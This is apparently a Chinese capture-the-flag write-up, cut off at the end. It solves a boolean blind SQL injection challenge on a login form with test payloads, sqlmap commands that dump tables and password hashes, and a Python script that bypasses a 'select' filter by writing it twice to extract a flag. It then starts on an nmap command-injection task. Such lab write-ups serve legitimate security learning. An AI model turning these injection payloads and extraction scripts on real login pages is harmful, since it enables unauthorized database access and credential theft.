七星难度
SQL注入-2(字符布尔盲注)
fuzz admin字段发现会有两种结果账号不存在
,和账号和密码错误
测试payload分别为admin' and 1=1 and 'tt'='tt
和admin' and 1=2 and 'tt'='tt
猜测为'
字符截断的字符型布尔盲注。
sqlmap语句
python sqlmap.py -r D:\Users\S9037978\Desktop\post.txt --technique B --current-db --thread 10 --batch
得到数据库为note
python sqlmap.py -r D:\Users\S9037978\Desktop\post.txt --technique B -D note --tables --thread 10 --batch
表名为fl4g和users
python sqlmap.py -r D:\Users\S9037978\Desktop\post.txt --technique B -D note -T fl4g --dump --thread 10 --batch
在尝试获得列名时发生错误
[ERROR] unable to retrieve the number of columns for table 'f14g' in database 'note'
用代理看下有没有什么错误信息
python sqlmap.py -r D:\Users\S9037978\Desktop\post.txt --technique B -D note -T f14g --columns --thread 10 --batch --proxy http://localhost:8080
发出的包均为正常显示内容… 发现是表名看错了sqlmap是可以直接跑出来的
思路2:
也顺便改变思路查看users表的列名
直接dump该表的数据并用sqlmap自带的md5去碰撞密码
python sqlmap.py -r D:\Users\S9037978\Desktop\post.txt --technique B -D note -T users --dump --thread 10 --batch
没有碰撞出明文,再去md5解密平台尝试
要付费… 不过这里查询出来以后可能可以直接连接上然后拿到flag
网上的wp:
看了一眼wp说是select被过滤了
写个简单的脚本双写select用来爆破出列长度和列名
right_string = "8bef" # 账号或密码错误
false_string = "5728" # 账号不存在
url = "http://1.15.178.85/login.php"
col_length = 0
for i in range(1, 50):
payload = "admin' and length((seselectlect column_name from information_schema.columns where table_name=0x666c3467 limit 0, 1)) = {length} and 't'='t".format(length=i)
param = {
"name": payload,
"pass": "tt"
}
print("正在测试列名长度为{length}".format(length=i))
res = requests.post(url, data=param)
if right_string in res.text:
print("列长度为" + str(i))
col_length = i
break
# 得到结果长度为4
接着上面的脚本 爆破出列名
col_name = ""
for i in range(1, 5):
for c in range(32, 126):
payload = "admin' and (ascii(substr((seselectlect column_name from information_schema.columns where table_name=0x666c3467 limit 0, 1),{index},1))={char}) and 't'='t".format(index=i, char=c)
param = {
"name": payload,
"pass": "tt"
}
res = requests.post(url, data=param)
if right_string in res.text:
print("index:{index} char:{char}".format(index=i,char=c))
col_name += chr(c)
print(col_name)
'''
index:1 char:102
index:2 char:108
index:3 char:97
index:4 char:103
flag
'''
获得数据
# 长度只需要把刚刚爆列名的payload改为
payload = "admin' and length((seselectlect flag from fl4g limit 0,1))={length} and 't'='t".format(length=i)
# 长度26
# flag内容把爆列名内容脚本改为
payload = "admin' and (ascii(substr((seselectlect flag from fl4g limit 0, 1),{index},1))={char}) and 't'='t".format(index=i, char=c)
# flag内容
n1book{
login_sqli_is_nice}
namp(nmap命令注入)
打开以后有一个输入框提示输入ip/host。
输入后会返回开放的端口,网页源码中又提示flag在/flag
中。所以思路比较清晰利用命令注入读取/flag的内容。
namp与文件相关的指令
输出格式
-oN (标准输出)
-oX (XML输